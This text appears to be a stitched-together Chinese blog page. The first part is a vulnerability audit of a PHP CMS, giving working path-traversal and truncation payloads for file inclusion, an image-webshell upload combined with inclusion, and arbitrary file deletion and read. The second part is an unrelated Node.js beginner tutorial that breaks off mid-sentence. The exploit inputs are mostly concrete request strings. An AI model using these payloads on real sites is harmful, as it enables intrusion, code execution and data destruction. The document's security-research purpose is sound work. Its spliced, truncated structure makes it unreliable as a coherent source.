有两种方法可以截断:

绕过方法1:%00 截断

  条件:magic_quotes_gpc = Off PHP 版本<5.3.4

  测试:?filename=../../../../../../boot.ini%00
绕过方法2:路径长度截断

  条件:windows下目录路径最大长度为256字节,超出部分将丢弃;

       Linux下目录最大长度为4096字节,超出长度将丢弃

  测试:?filename=text.txt././././.  或?filename=test.txt.....

首先在根目录下建一个phpinfo的文件。

第一种利用方式,我没有成功,第二种方式可以成功

submit=%D4%DA%CF%DF%D6%A7%B8%B6&price=30&id=B1589353854E&name=%B1%E3%C3%F1%BF%A8&pay=../../../../../../../../../../phpinfo.php..............................................................................................................................................................

​但这里我实际测试的时候pay值的长度是199,即可截断成功

然后这里在测试抓包处又看到存在个人头像的上传,查看源代码

定位到img_upload函数,create_tempname函数是一个随机数命名

再次追踪get_type函数

再次追踪这个数组中的两变量

两个白名单,那么配合文件包含上传一个图片马即可

上传后找到路径,进行文件包含

任意文件删除漏洞

1)user.php

很明显要想达到任意文件删除的操作,需要对face_pic1的值为空,所以在上传头像时抓包

在下方选择任意文件即可删除。

而任意文件删除漏洞可以通过全文追踪unlink函数来筛选,以下代码同理

在看这段,应该也存在该漏洞,但是本地搭建的环境中我没有找到位置。

任意文件读取漏洞

1)admin/tpl_manage.php

可以看到tpl_name变量可控,且有fopen函数读取

抓包修改尝试读取根目录下的robotst.txt

再向下查看

构造?act=edit&tpl_name=../../robots.txt

2)uc_setting.php

全局搜索调用uc_write_config函数的地方,看给形参$file传入的实参值是否可控

elseif($succeed = uc_write_config($ucconfig."|".$uc_config['uc_api']."|".$uc_config['uc_ip'],BLUE_ROOT.'data/config.php'))

​然而可以看到后面的内容被写死,无望。


REPL环境运行js代码

浏览器的控制台和node的运行环境都属于REPL运行环境

模块

nodejs分为三个模块:核心模块,第三方模块,自定义模块

在nodejs的官网中提供的模块都是核心模块

https://nodejs.org/dist/latest-v12.x/docs/api/

读取文件内容

var fs = require('fs');//引入核心的fs模块
fs.readFile('./hello.txt','utf8',function(err,data){
    console.log(err);
    console.log('------------');
    console.log(data);
});
console.log(1111);

​ fs此时就相当于一个对象 ,可以调用fs模块中的所有方法,readFile有三个参数fs.readFile(path[, options], callback),可参看官方手册:http://nodejs.cn/api/fs.html#fs_fs_readfile_path_options_callback

该方法同时是一个异步操作,当整块fs.readFile运行完后fs模块才会去根据传递的相对路径寻找hello.txt,然后将结果通过回调函数的打印输出回来

写入文件内容

var fs = require('fs');//引入核心的fs模块

fs.writeFile('./hello.txt','purplet',function(err){//第二个参数是写入文件内容,默认覆盖写入,回调函数只有一个err参数
    if(!err){
        console.log('写入成功');
    }
});

追加写入

首先读取文件内容再将数据内容叠加重新写入来实现追加写入。

var fs = require('fs');//引入核心的fs模块

fs.readFile('./hello.txt','utf8',function(err,data){
    data += ' like NodeJS';//先读取再将数据写入
    fs.writeFile('./hello.txt',data,function(err){
        if(!err){
            console.log('追加写入成功');
        }
    })
})

以上所有的核心模块引入都是使用require进行,当遇到没使用过的模块学会利用手册进行学习。

异步

通过一个ajax异步理解:首先新建一个01.html和一个2.php,其中2.php中写一个echo “222”;

01.html的内容:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <input type="button" value="点击" id="btn">      
</body>
<script>
    document.getElementById('btn').onclick=function(){
        var xhr =new XMLHttpRequest();//得到一个ajax对象
        xhr.onreadystatechange=function(){   //onreadystatechange监听一个状态改变的事件
            if(xhr.readyState == 4){         //等于4代表服务器已经将全部数据返回
                alert(xhr.responseText);
            }
        }
        xhr.open('get','./2.php');//第三个参数不写默认异步
        xhr.send();//发送ajax的一个http请求

        alert(3);//会先执行这个弹窗,因为服务器返回的数据还没完
    }
</script>
</html>

开启HTTP服务

 //引入http核心模块
var http = require('http');
//创建一个服务
var server = http.createServer();
//绑定连接
server.on('request',function(res,rs){
    console.log(res.method);//打印请求的方法
    rs.write('nihao');//返回数据
    rs.end();//断开连接
})
//启动监听
server.listen(8081,function(){
    console.log('请访问127.0.0.1:8081');
})

启动后访问127.0.0.1:8081可以看到下图所示,一个最简单的HTTP服务器就搭建好了。

NPM

npm其实是Node.js的包管理工具(package manager)。

为啥我们需要一个包管理工具呢?因为我们在Node.js上开发时,会用到很多别人写的JavaScript代码。如果我们要使用别人写的某个包,每次都根据名称搜索一下官方网站,下载代码,解压,再使用,非常繁琐。于是一个集中管理的工具应运而生:大家都把自己开发的模块打包后放到npm官网上,如果要使用,直接通过npm安装就可以直接用,不用管代码存在哪,应该从哪下载。

更重要的是,如果我们要使用模块A,而模块A又依赖于模块B,模块B又依赖于模块X和模块Y,npm可以根据依赖关系,把所有依赖的包都下载下来并管理起来。否则,靠我们自己手动管理,肯定既麻烦又容易出错。

讲了这么多,npm究竟在哪?

其实npm已经在Node.js安装的时候顺带装好了。我们在命令提示符或者终端输入npm -v,应该看到类似的输出: